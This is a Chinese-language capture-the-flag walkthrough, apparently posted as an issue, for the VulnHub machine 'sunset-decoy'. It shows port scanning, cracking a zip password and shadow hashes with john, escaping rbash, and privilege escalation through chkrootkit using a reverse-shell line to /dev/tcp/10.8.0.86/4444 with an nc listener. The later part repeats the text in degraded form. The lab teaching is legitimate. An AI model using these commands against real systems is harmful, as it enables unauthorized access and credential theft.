Open cha0s32 opened 9 months ago
靶机地址
https://www.vulnhub.com/entry/sunset-decoy,505/
信息收集
全端口扫描发现服务,并扫描其版本
sudo masscan -p1-65535,U:1-65535 172.16.33.40 --rate=5000 -e tun0 sudo nmap -p22,80 -sV -A 172.16.33.40
端口 服务 利用点 结果 80 apache save.zip 待定 22 Ssh 暂无,必要时考虑爆破 暂无 访问80端口,将save.zip下载下来
使用
john
破解压缩包密码,得到etc
zip2john save.zip > save.hash john save.hash --wordlist=rockyou.txt
etc
中有passwd
和shadow
,可以结合破解unshadow passwd shadow > unshadow john --rules --wordlists=rockyou.txt unshadow
可以破解出某个账户 ( 账户名一长串,不想打了,以guest代替吧!) 的密码为
server
ssh
进去后查看文件
后期截图,有一些是我后面传上去的文件,可以看到有普通用户proof文件user.txt,但由于shell为rbash,需要绕过
Get shell
shell
为rbash
, 所以需要绕过-t "bash --no-profile" # ssh后面加
进去以后查看命令无法使用,查看环境变量,
echo $PATH
当前环境变量为家目录,无法直接使用命令
# 改为 PATH=/usr/local/sbin/:/usr/sbin/bin/:/usr/sbin/:/usr/bin/://sbin/:/bin/
可查看
user.txt
提权
上传
linpeas.sh
, 赋予执行权限后运行可疑提权向量(尽量忽略内核提权): 数据库配置文件: /etc/mysql/mariadb.cnf 可读 suid权限: pkexec 利用没成功 sudo 查看版本是否有漏洞 漏洞需要管理员权限修改文件 SV502/log.txt
发现
SV502/logs/log.txt
日志文件里有提到chkrootkit
,该文件用于检测系统中是否被安装rootkit的主目录中存在
honeypot.decoy
,为root
用户所有,尝试运行
5是
AV扫描
,猜测跟chkrootkit
有关,尝试运行使用
ps aux | grep chkrootkit
,知道chkrootkit
为root
运行
使用
searchsploit chkrootkit
查看利用方法
利用方法很简单
echo "bash -c 'exec bash -i &>/dev/tcp/10.8.0.86/4444 <&1'" > /tmp/update ./honeypot.decoy #kali nc -nvlp 4444
![]()
靶机地址
https://www.vulnhub.com/entry/sunset-decoy,505/
信息收集
全端口扫描发现服务,并扫描其版本
访问80端口,将save.zip下载下来
使用
john
破解压缩包密码,得到etc
etc
中有passwd
和shadow
,可以结合破解可以破解出某个账户 ( 账户名一长串,不想打了,以guest代替吧!) 的密码为
server
ssh
进去后查看文件Get shell
shell
为rbash
, 所以需要绕过进去以后查看命令无法使用,查看环境变量,
echo $PATH
当前环境变量为家目录,无法直接使用命令
可查看
user.txt
提权
上传
linpeas.sh
, 赋予执行权限后运行发现
SV502/logs/log.txt
日志文件里有提到chkrootkit
,该文件用于检测系统中是否被安装rootkit的主目录中存在
honeypot.decoy
,为root
用户所有,尝试运行5是
AV扫描
,猜测跟chkrootkit
有关,尝试运行使用
ps aux | grep chkrootkit
,知道chkrootkit
为root
运行使用
searchsploit chkrootkit
查看利用方法利用方法很简单